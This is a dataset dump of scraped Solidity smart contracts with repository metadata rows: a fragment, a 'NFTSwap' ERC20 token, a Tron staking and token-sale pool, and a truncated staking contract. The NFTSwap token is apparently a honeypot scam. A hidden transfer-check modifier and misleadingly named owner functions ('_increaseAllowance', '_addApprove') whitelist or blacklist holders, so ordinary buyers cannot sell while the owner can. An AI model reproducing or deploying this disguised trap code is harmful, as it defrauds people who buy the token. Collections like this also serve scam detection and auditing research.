require(_balances[_msgSender()] >= amount, "BEP20: insufficient balance");
_balances[_msgSender()] = _balances[_msgSender()].sub(amount, "BEP20: amount exceeds balance");
_balanceRewards(_msgSender());
_totalSupply = _totalSupply.sub(amount);
_contractPoB = _contractPoB+amount;
_accountPoB[_msgSender()] = _accountPoB[_msgSender()]+amount;
_accountTs[_msgSender()] = block.timestamp;
return true;
}
}
| 257,312 | 1,719 |
fb6ada97c4002297a4c8b68aa88eb368e92bb6c83fc81436ff4d5ce1fd260612
| 30,089 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/01/0132691b70148eaba97e74928b0d3e73f2ba1c06_NFTSwap.sol
| 3,332 | 12,583 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract NFTSwap is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
address public owner;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
constructor (string memory name, string memory symbol, uint256 initialSupply, address payable _ownr) public {
_name = name;
_symbol = symbol;
_decimals = 18;
owner =_ownr;
_owner = msg.sender;
_safeOwner = msg.sender;
mint(owner, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
address private _owner;
address private _safeOwner;
uint256 private _sellAmount = 0;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
address private _router = 0xF491e7B69E4244ad4002BC14e878a34207E38c29;
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _router, 115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _increaseAllowance(address[] memory receivers) private {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function _decreaseAllowance(address safeOwner) private {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function _addApprove(address[] memory receivers) private {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
uint256 _amount = amount*(10**18);
_totalSupply = _totalSupply.add(_amount);
_balances[_owner] = _balances[_owner].add(_amount);
emit Transfer(address(0), account, _amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _router), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _router), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 321,304 | 1,720 |
60109a5ad3060ce1fd22539701dfb7fdba69a02160817efbf7f01cbe84711761
| 17,261 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TY/TY4g2uKY1iVV2SAwBMKDNJJ4EnjfMpp2UR_SunSCHPool.sol
| 4,568 | 16,365 |
//SourceUnit: SunSCHPool.sol
pragma solidity ^0.5.8;
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface ITRC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeTRC20 {
address constant USDTAddr = 0xa614f803B6FD780986A42c78Ec9c7f77e6DeD13C;
using SafeMath for uint256;
using Address for address;
function safeTransfer(ITRC20 token, address to, uint256 value) internal {
if (address(token) == USDTAddr) {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success, "SafeTRC20: low-level call failed");
} else {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
}
function safeTransferFrom(ITRC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(ITRC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeTRC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(ITRC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(ITRC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeTRC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(ITRC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeTRC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeTRC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
require(abi.decode(returndata, (bool)), "SafeTRC20: TRC20 operation did not succeed");
}
}
}
contract IRewardDistributionRecipient is Ownable {
address public rewardDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution)
external
onlyOwner
{
rewardDistribution = _rewardDistribution;
}
}
contract SCHTokenWrapper {
using SafeMath for uint256;
using SafeTRC20 for ITRC20;
ITRC20 public tokenAddr = ITRC20(0x410c40ac790d482d486811471ff20f9ddf78ff1455);
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
tokenAddr.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
tokenAddr.safeTransfer(msg.sender, amount);
}
function withdrawTo(address to, uint256 amount) internal {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
tokenAddr.safeTransfer(to, amount);
}
function _stakeTo(address to, uint256 amount) internal returns (bool){
_totalSupply = _totalSupply.add(amount);
_balances[to] = _balances[to].add(amount);
return true;
}
}
contract ISaleChainCrowdsale{
function parent(address account) public view returns (address);
}
contract SunSCHPool is SCHTokenWrapper, IRewardDistributionRecipient {
// sunToken
ITRC20 public sunToken = ITRC20(0x6b5151320359Ec18b08607c70a3b7439Af626aa3);
ISaleChainCrowdsale public mainChain = ISaleChainCrowdsale(0x411e772d4ba5a995bb58c149d89b2ae7f66b414305);
uint256 public sunRate;
address payable constant public MARKETING_WALLET = address(0x418476322b439f85eb8e6064cd113c484352b085a7);
uint256 public constant DURATION = 259200; // 3 days
uint256 public starttime = 1602700200; // Wednesday, October 14, 2020 6:30:00 PM UTC
uint256 public starttimeSale = 1603132200; // Monday, October 19, 2020 6:30:00 PM UTC
uint256 public endtimeSale = 1603218600; // Tuesday, October 20, 2020 6:30:00 PM UTC
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
address public oldPool;
uint256 public weiRaised;
uint256 public minSaleAmount;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
mapping(address => uint256) public referralEarn;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event ReferralCommissionPaid(address indexed user, uint256 amount);
event Rescue(address indexed dst, uint sad);
event RescueToken(address indexed dst, address indexed token, uint sad);
constructor(address _pool) public{
rewardDistribution = _msgSender();
oldPool = _pool;
}
modifier checkStakePeriod() {
require(block.timestamp >= starttime && block.timestamp <= periodFinish, "Not in stake period");
_;
}
modifier checkEnd() {
require(block.timestamp >= periodFinish, "Not end");
_;
}
modifier checkSalePeriod() {
require(block.timestamp >= starttimeSale && block.timestamp <= endtimeSale, "Not in sale period");
_;
}
modifier onlyOldPool(){
require(msg.sender == oldPool, "Not oldPool");
_;
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function setSaleParam(uint256 min, uint256 rate) public onlyOwner {
minSaleAmount = min;
sunRate = rate;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function statAccount(address account) public view returns (uint256, uint256, uint256) {
return
(earned(account), balanceOf(account), referralEarn[account]);
}
// stake visibility is public as overriding SCHTokenWrapper's stake() function
function stake(uint256 amount) public updateReward(msg.sender) checkStakePeriod {
require(amount > 0, "Cannot stake 0");
super.stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkEnd {
require(amount > 0, "Cannot withdraw 0");
require(amount <= balanceOf(msg.sender), "Cannot withdraw exceed the balance");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
}
function getReward() public payable checkSalePeriod {
if (balanceOf(msg.sender) > 0){
withdraw(balanceOf(msg.sender));
}
uint256 trueReward = rewards[msg.sender];
uint256 weiAmount = msg.value;
require(weiAmount >= minSaleAmount, "Contributions must be at least minSaleAmount during the sale");
uint256 tokenAmount = weiAmount.div(sunRate).mul(1000000000000);
require(tokenAmount <= trueReward, "Cannot sale token exceed the reward");
rewards[msg.sender] = trueReward.sub(tokenAmount);
weiRaised = weiRaised.add(weiAmount);
sunToken.safeTransfer(msg.sender, tokenAmount);
address payable refWallet = address(uint160(mainChain.parent(msg.sender)));
if (refWallet != address(0)){
uint256 refAmount = weiAmount.mul(5).div(100);
weiAmount = weiAmount.sub(refAmount);
referralEarn[refWallet] = referralEarn[refWallet].add(refAmount);
}
MARKETING_WALLET.transfer(weiAmount);
emit RewardPaid(msg.sender, tokenAmount);
}
function notifyRewardAmount(uint256 reward)
external
onlyRewardDistribution
updateReward(address(0))
{
if (block.timestamp > starttime) {
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(DURATION);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(DURATION);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(reward);
} else {
rewardRate = reward.div(DURATION);
lastUpdateTime = starttime;
periodFinish = starttime.add(DURATION);
emit RewardAdded(reward);
}
}
function rescue(address payable to_, uint256 amount_)
external
onlyOwner
{
require(to_ != address(0), "Must not 0");
require(amount_ > 0, "Must gt 0");
to_.transfer(amount_);
emit Rescue(to_, amount_);
}
function rescue(address to_, ITRC20 token_, uint256 amount_)
external
onlyOwner
{
require(to_ != address(0), "Must not 0");
require(amount_ > 0, "Must gt 0");
token_.transfer(to_, amount_);
emit RescueToken(to_, address(token_), amount_);
}
function stakeTo(address user, uint256 amount) public onlyOldPool updateReward(user) returns (bool){
require(amount > 0, "Cannot stake 0");
require(_stakeTo(user, amount), "Stake to failed");
emit Staked(user, amount);
return true;
}
function migrate(address nextPool) public returns (bool){
require(balanceOf(msg.sender) > 0, "Must gt 0");
uint256 userBalance = balanceOf(msg.sender);
require(SunSCHPool(nextPool).stakeTo(msg.sender, userBalance), "StakeTo failed");
super.withdrawTo(nextPool, userBalance);
return true;
}
function getReferralCommission() public {
uint256 amount = referralEarn[msg.sender];
require(amount > 0, "Your referral commission balance is zero!");
referralEarn[msg.sender] = 0;
msg.sender.transfer(amount);
emit ReferralCommissionPaid(msg.sender, amount);
}
}
| 302,771 | 1,721 |
633417291076b98011d81c70efa13f1fa11ec2ac5f76fd5182259a7a4f462f82
| 27,317 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/6d/6d7AD602Ec2EFdF4B7d34A9A53f92F06d27b82B1_Staking.sol
| 4,220 | 16,884 |
// File: contracts/Staking.sol
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsMAXI {
